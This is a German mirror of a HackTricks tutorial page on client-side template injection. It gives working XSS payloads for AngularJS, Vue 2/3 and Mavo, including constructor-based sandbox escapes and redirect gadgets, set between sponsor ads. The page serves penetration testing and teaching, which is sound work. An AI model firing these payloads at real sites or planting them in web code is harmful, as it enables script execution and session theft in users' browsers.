mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
130 lines
8.2 KiB
Markdown
130 lines
8.2 KiB
Markdown
# Client Side Template Injection (CSTI)
|
|
|
|
{% hint style="success" %}
|
|
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
#### [WhiteIntel](https://whiteintel.io)
|
|
|
|
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
|
|
|
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
|
|
|
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
|
|
|
{% embed url="https://whiteintel.io" %}
|
|
|
|
***
|
|
|
|
## Zusammenfassung
|
|
|
|
Es ist wie eine [**Server Side Template Injection**](ssti-server-side-template-injection/), aber im **Client**. Die **SSTI** kann es dir ermöglichen, **Code** auf dem Remote-Server auszuführen, die **CSTI** könnte es dir ermöglichen, **willkürlichen JavaScript**-Code im Browser des Opfers auszuführen.
|
|
|
|
**Das Testen** auf diese Schwachstelle ist sehr **ähnlich** wie im Fall von **SSTI**, der Interpreter erwartet **eine Vorlage** und wird sie ausführen. Zum Beispiel, mit einem Payload wie `{{ 7-7 }}`, wenn die App **anfällig** ist, wirst du eine `0` sehen, und wenn nicht, wirst du das Original sehen: `{{ 7-7 }}`
|
|
|
|
## AngularJS
|
|
|
|
AngularJS ist ein weit verbreitetes JavaScript-Framework, das über Attribute, die als Direktiven bekannt sind, mit HTML interagiert, wobei eine bemerkenswerte **`ng-app`** ist. Diese Direktive ermöglicht es AngularJS, den HTML-Inhalt zu verarbeiten, wodurch die Ausführung von JavaScript-Ausdrücken innerhalb doppelter geschweifter Klammern ermöglicht wird.
|
|
|
|
In Szenarien, in denen Benutzereingaben dynamisch in den HTML-Body eingefügt werden, der mit `ng-app` gekennzeichnet ist, ist es möglich, willkürlichen JavaScript-Code auszuführen. Dies kann erreicht werden, indem die Syntax von AngularJS innerhalb der Eingabe genutzt wird. Im Folgenden sind Beispiele aufgeführt, die zeigen, wie JavaScript-Code ausgeführt werden kann:
|
|
```javascript
|
|
{{$on.constructor('alert(1)')()}}
|
|
{{constructor.constructor('alert(1)')()}}
|
|
<input ng-focus=$event.view.alert('XSS')>
|
|
|
|
<!-- Google Research - AngularJS -->
|
|
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
|
```
|
|
Du kannst ein sehr **einfaches Online-Beispiel** der Verwundbarkeit in **AngularJS** unter [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) und in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) finden.
|
|
|
|
{% hint style="danger" %}
|
|
[**Angular 1.6 entfernte die Sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), sodass ab dieser Version ein Payload wie `{{constructor.constructor('alert(1)')()}}` oder `<input ng-focus=$event.view.alert('XSS')>` funktionieren sollte.
|
|
{% endhint %}
|
|
|
|
## VueJS
|
|
|
|
Du kannst eine **verwundbare Vue**-Implementierung unter [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) finden.\
|
|
Funktionierender Payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
|
|
|
Und der **Quellcode** des verwundbaren Beispiels hier: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
|
```markup
|
|
<!-- Google Research - Vue.js-->
|
|
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
|
```
|
|
Ein wirklich guter Beitrag zu CSTI in VUE ist zu finden unter [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
|
|
|
### **V3**
|
|
```
|
|
{{_openBlock.constructor('alert(1)')()}}
|
|
```
|
|
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
|
|
|
### **V2**
|
|
```
|
|
{{constructor.constructor('alert(1)')()}}
|
|
```
|
|
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
|
|
|
|
**Überprüfen Sie weitere VUE-Payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
|
|
|
## Mavo
|
|
|
|
Payload:
|
|
```
|
|
[7*7]
|
|
[(1,alert)(1)]
|
|
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
|
[self.alert(1)]
|
|
javascript:alert(1)%252f%252f..%252fcss-images
|
|
[Omglol mod 1 mod self.alert (1) andlol]
|
|
[''=''or self.alert(lol)]
|
|
<a data-mv-if='1 or self.alert(1)'>test</a>
|
|
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
|
<a href=[javascript&':alert(1)']>test</a>
|
|
[self.alert(1)mod1]
|
|
```
|
|
**Weitere Payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
|
|
|
## **Brute-Force Erkennungsliste**
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
|
|
|
#### [WhiteIntel](https://whiteintel.io)
|
|
|
|
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
|
|
|
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
|
|
|
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
|
|
|
{% embed url="https://whiteintel.io" %}
|
|
|
|
{% hint style="success" %}
|
|
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstützen Sie HackTricks</summary>
|
|
|
|
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
|
|
|
</details>
|
|
{% endhint %}
|